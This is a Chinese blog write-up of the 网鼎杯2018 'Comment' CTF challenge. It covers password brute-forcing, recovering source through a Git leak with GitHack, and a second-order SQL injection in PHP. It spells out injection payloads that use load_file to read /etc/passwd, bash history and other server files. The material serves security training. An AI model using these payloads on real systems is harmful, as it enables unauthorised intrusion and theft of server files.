[网鼎杯2018] Comment

发布于 2021-08-06  68 次阅读


知识点:

GitHack工具的使用

二次注入

Docker文件位置,一般在/temp/html中会有备份

解题

image-20210128141039370

打开题目第一次发帖需要你登陆,账号密码都给你了,只是没有给你密码后三位,意图很明显,使用爆破来进行登陆

爆破成功后会发现密码为zhangwei666

image-20210128141301109

登陆之后存在发帖功能,想到了xssSQL注入

1.对XSS进行测试,发现这里存在反射型XSS没有什么意义

2.SQL注入尝试了半天,没啥效果,一丢丢报错信息都没有,盲注的回显也没有

剩下就没有什么思路了,只能看看有没有信息泄露的点

image-20210128141644610

在控制台发现一句提示,Git程序员跑路,可没可能是Git泄露,直接扫目录

image-20210128141805521

确实是Git泄露

image-20210128141848493

使用GItHack工具获取到源码,发下源码一点信息没有,前面提示没写完,这里猜测/.git文件不全,利用GitHack对其进行补全

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

获取到完整的源代码,观察write部分发现sql语句都被进行了转义,这也是为啥之前测试SQL注入不成功的原因

通过审计源代码我们不难发现这里存在一处很明显的二次注入,一开始会对category进行赋值,然后在查看时会将其取出,如果我们在categories输入'123 /*concent输入*/#,就会出现如下效果:

$sql = "insert into comment
set category = ''123/*',
content = '*/#',
bo_id = '$bo_id'";

当123存入数据库再被取出时,如果存在命令执行,就会被执行。

image-20210128144549613
image-20210128144621518

进行简单验证,果然可以,接下来就是要利用二次注入找到flag了

首先看看用户信息,payload:

',content=(select load_file('/etc/passwd')),/*
image-20210128145037931

发现存在了一处可疑的www用户,去他的家目录看看他都有过什么操作,Payload:

',content=(select load_file('/home/www/.bash_history')),/*
image-20210128145734437

但是观察之后不难发现,他在/tmp目录下有过操作,这里经过看别人wp提示发现,由于目标环境是docker,所以 .DS_Store 文件应该在 /tmp/html 中。而 .DS_Store 文件中,经常会有一些不可见的字符,可以使用hex函数对其进行16进制转换 payload:

',content=(select hex(load_file("/tmp/html/.DS_Store"))),/*

使用hackbar解码

image-20210128150641017

发现flag文件,直接访问

image-20210128150855211

确定FLAG文件存在,因此路径应该为/var/www/html/flag_8946e1ff1ee3e40f.php利用二次注入读取一下,**payload**

',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
image-20210128151237756

完整流程如下:

image-20210128151310796